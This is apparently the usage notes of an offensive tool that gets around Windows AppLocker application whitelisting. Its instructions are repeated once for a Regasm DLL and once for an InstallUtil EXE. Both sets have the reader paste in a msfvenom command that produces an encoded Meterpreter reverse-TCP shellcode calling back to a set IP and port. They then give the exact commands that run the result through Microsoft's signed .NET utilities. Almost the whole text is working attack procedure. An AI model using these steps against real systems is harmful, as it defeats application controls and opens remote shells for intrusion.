AppLocker Bypass With Regasm/InstallUtil
-
Modify shellcode.txt file and add ShellCode generated by msfvenom, Example:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.231.138 lport=4444 -e x8 6/shikata_ga_nai -i 15 -f csharp
-
Generate Success, Name : RegasmBypass.dll
-
Add the generated RegasmBypass.dll to Regasm.exe, Example: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U RegasmBypass.dll
-
Modify shellcode.txt file and add ShellCode generated by msfvenom, Example:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.231.138 lport=4444 -e x8 6/shikata_ga_nai -i 15 -f csharp
-
Generate Success, Name : InstallUBypass.exe
-
Add the generated InstallUBypass.exe to InstallUtil.exe, Example: C:\Windows\Microsoft.NET\Framework\v2.0.30319\InstallUtil.exe /U InstallUBypass.exe